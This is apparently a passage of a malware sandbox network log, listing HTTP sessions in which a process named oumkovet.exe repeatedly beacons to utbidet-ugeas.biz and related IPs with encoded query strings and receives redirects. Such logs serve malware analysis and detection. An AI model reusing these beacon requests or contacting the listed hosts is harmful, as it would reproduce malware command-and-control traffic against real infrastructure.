0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	64262	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:27.324016094 CEST	169	OUT	GET /d/N?0235D26E0531D26E0507D2460535D2BD99BDD16A4334D2AEAD37D7582B07FC573705E24005 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:27.821846962 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:27 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0235D26E0531D26E0507D2460535D2BD99BDD16A4334D2AEAD37D7582B07FC573705E24005 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	64263	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:27.840178013 CEST	201	OUT	GET /d/N?0235D26E0531D26E0507D2460535D2BD99BDD16A4334D2AEAD37D7582B07FC573705E24005 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:28.339884043 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:28 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0235D26E0531D26E0507D2460535D2BD99BDD16A4334D2AEAD37D7582B07FC573705E24005 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	64265	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:30.726274967 CEST	169	OUT	GET /d/N?029AC796FD9EC796FDA8C7BEFD9AC7456112C492BB9BC7565598C2A0D3A8E9AFCFAAF7B8FD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:31.237052917 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:31 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029AC796FD9EC796FDA8C7BEFD9AC7456112C492BB9BC7565598C2A0D3A8E9AFCFAAF7B8FD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	64266	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:31.259829998 CEST	201	OUT	GET /d/N?029AC796FD9EC796FDA8C7BEFD9AC7456112C492BB9BC7565598C2A0D3A8E9AFCFAAF7B8FD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:31.753906965 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:31 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029AC796FD9EC796FDA8C7BEFD9AC7456112C492BB9BC7565598C2A0D3A8E9AFCFAAF7B8FD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	64268	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:32.808332920 CEST	169	OUT	GET /d/N?02F5273F7BF1273F7BC727177BF527ECE77D243B3DF427FFD3F7220955C7090649C517117B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:33.308577061 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:33 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F5273F7BF1273F7BC727177BF527ECE77D243B3DF427FFD3F7220955C7090649C517117B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	64269	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:33.315746069 CEST	201	OUT	GET /d/N?02F5273F7BF1273F7BC727177BF527ECE77D243B3DF427FFD3F7220955C7090649C517117B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:33.795360088 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F5273F7BF1273F7BC727177BF527ECE77D243B3DF427FFD3F7220955C7090649C517117B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	64978	45.79.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:34.981508970 CEST	117	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: qzyobaes.ph Cache-Control: no-cache
Sep 8, 2024 08:42:35.470726967 CEST	1236	IN	HTTP/1.1 200 OK date: Sun, 08 Sep 2024 06:42:35 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.5.38 x-powered-by: PHP/5.5.38 cache-control: no-cache pragma: no-cache content-length: 1912 content-type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 76 61 72 20 66 6f 72 77 61 72 64 69 6e 67 55 72 6c 20 3d 20 22 2f 70 61 67 65 2f 62 6f 75 6e 63 79 2e 70 68 70 3f 26 62 70 61 65 3d 47 62 68 47 64 69 63 47 6f 31 78 37 6a 25 32 42 39 6c 57 67 53 63 52 69 58 49 61 63 6d 43 74 30 61 48 6b 64 34 32 75 6b 53 6a 48 42 4e 73 76 75 25 32 46 25 32 46 33 66 33 6a 46 44 71 59 25 32 42 50 71 35 34 35 44 6f 37 56 54 69 65 71 35 74 51 46 63 6c 6b 39 57 31 59 51 46 57 39 32 7a 35 71 42 7a 73 32 73 70 43 6e 76 4d 70 30 64 77 76 4e 7a 78 4f 68 45 5a 4c 74 48 47 5a 4a 59 66 53 4d 69 45 69 4e 6e 63 41 44 6e 66 43 5a 31 50 73 59 37 64 50 57 53 68 75 49 45 30 48 39 25 32 42 50 71 69 61 58 75 52 43 41 45 6e 76 78 50 30 4a 4c 58 35 79 39 72 66 31 4f 61 53 34 56 55 46 6b 78 4a 33 25 32 42 68 59 4e 61 37 35 43 5a 75 4a 68 6b 70 54 38 53 4d 47 34 76 37 59 74 4f 4f 61 70 63 39 37 46 31 6e 79 67 7a 42 31 65 44 6e 6d 5a 66 4a 6e 5a 48 50 6e 34 67 7a 6b 44 32 63 75 68 70 45 4c 72 6e 5a 4b 67 [TRUNCATED] Data Ascii: <html><head><script>var forwardingUrl = "/page/bouncy.php?&bpae=GbhGdicGo1x7j%2B9lWgScRiXIacmCt0aHkd42ukSjHBNsvu%2F%2F3f3jFDqY%2BPq545Do7VTieq5tQFclk9W1YQFW92z5qBzs2spCnvMp0dwvNzxOhEZLtHGZJYfSMiEiNncADnfCZ1PsY7dPWShuIE0H9%2BPqiaXuRCAEnvxP0JLX5y9rf1OaS4VUFkxJ3%2BhYNa75CZuJhkpT8SMG4v7YtOOapc97F1nygzB1eDnmZfJnZHPn4gzkD2cuhpELrnZKgvOJB29nhRrszI4xq3rqMyYuZpCThghHDt2cF%2FdrfczOMg%2BPLk8LSagNlBwFSvjJI8w3MBjrCYC8mJo1gqZTbY5mg0WeVujIT0hsLsZznHYssLJZ%2FjegENuC64jXZTQ2PHZRWDJ3lvB1ecPlzHnIV6uw&redirectType=js";var destinationUrl = "/page/bouncy.php?&bpae=GbhGdicGo1x7j%2B9lWgScRiXIacmCt0aHkd42ukSjHBNsvu%2F%2F3f3jFDqY%2BPq545Do7VTieq5tQFclk9W1YQFW92z5qBzs2spCnvMp0dwvNzxOhEZLtHGZJYfSMiEiNncADnfCZ1PsY7dPWShuIE0H9%2BPqiaXuRCAEnvxP0JLX5y9rf1OaS4VUFkxJ3%2BhYNa75CZuJhkpT8SMG4v7YtOOapc97F1nygzB1eDnmZfJnZHPn4gzkD2cuhpELrnZKgvOJB29nhRrszI4xq3rqMyYuZpCThghHDt2cF%2FdrfczOMg%2BPLk8LSagNlBwFSvjJI8w3MBjrCYC8mJo1gqZTbY5mg0WeVujIT0hsLsZznHYssLJZ%2FjegENuC64jXZTQ2PHZRWDJ3lvB1ecPlzHnIV6uw&re
Sep 8, 2024 08:42:35.470751047 CEST	925	IN	Data Raw: 64 69 72 65 63 74 54 79 70 65 3d 6d 65 74 61 22 3b 0a 09 09 09 76 61 72 20 61 64 64 44 65 74 65 63 74 69 6f 6e 20 3d 20 74 72 75 65 3b 0a 09 09 09 69 66 20 28 61 64 64 44 65 74 65 63 74 69 6f 6e 29 20 7b 0a 09 09 09 09 76 61 72 20 69 6e 49 66 72 Data Ascii: directType=meta";var addDetection = true;if (addDetection) {var inIframe = window.self !== window.top;forwardingUrl += "&inIframe=" + inIframe;var inPopUp = (window.opener !== undefined && window.opener !== null && windo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	64979	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:35.498615980 CEST	169	OUT	GET /d/N?025C65CBD45865CBD46E65A3D45C651848D466CF925D650B7C5E60FDFA6E4BF2E66C55E5D4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:35.982285023 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:35 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025C65CBD45865CBD46E65A3D45C651848D466CF925D650B7C5E60FDFA6E4BF2E66C55E5D4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	64980	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:35.988097906 CEST	201	OUT	GET /d/N?025C65CBD45865CBD46E65A3D45C651848D466CF925D650B7C5E60FDFA6E4BF2E66C55E5D4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:36.491087914 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:36 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025C65CBD45865CBD46E65A3D45C651848D466CF925D650B7C5E60FDFA6E4BF2E66C55E5D4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	64982	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:37.699003935 CEST	169	OUT	GET /d/N?028C02AD078802AD07BE0285078C027E9B0401A9418D026DAF8E079B29BE2C9435BC328307 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:38.173892975 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:38 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028C02AD078802AD07BE0285078C027E9B0401A9418D026DAF8E079B29BE2C9435BC328307 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	64983	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:38.185600042 CEST	201	OUT	GET /d/N?028C02AD078802AD07BE0285078C027E9B0401A9418D026DAF8E079B29BE2C9435BC328307 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:38.696065903 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:38 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028C02AD078802AD07BE0285078C027E9B0401A9418D026DAF8E079B29BE2C9435BC328307 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	64985	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:39.962965965 CEST	169	OUT	GET /d/N?02D0BD8FD6D4BD8FD6E2BDA7D6D0BD5C4A58BE8B90D1BD4F7ED2B8B9F8E293B6E4E08DA1D6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:40.449285984 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:40 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02D0BD8FD6D4BD8FD6E2BDA7D6D0BD5C4A58BE8B90D1BD4F7ED2B8B9F8E293B6E4E08DA1D6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	64986	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:40.473407984 CEST	201	OUT	GET /d/N?02D0BD8FD6D4BD8FD6E2BDA7D6D0BD5C4A58BE8B90D1BD4F7ED2B8B9F8E293B6E4E08DA1D6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:40.974546909 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:40 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02D0BD8FD6D4BD8FD6E2BDA7D6D0BD5C4A58BE8B90D1BD4F7ED2B8B9F8E293B6E4E08DA1D6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	64988	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:41.114131927 CEST	169	OUT	GET /d/N?029A65481B9E65481BA865601B9A659B8712664C5D9B6588B398607E35A84B7129AA55661B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:41.607801914 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:41 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029A65481B9E65481BA865601B9A659B8712664C5D9B6588B398607E35A84B7129AA55661B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	64989	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:41.614882946 CEST	201	OUT	GET /d/N?029A65481B9E65481BA865601B9A659B8712664C5D9B6588B398607E35A84B7129AA55661B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
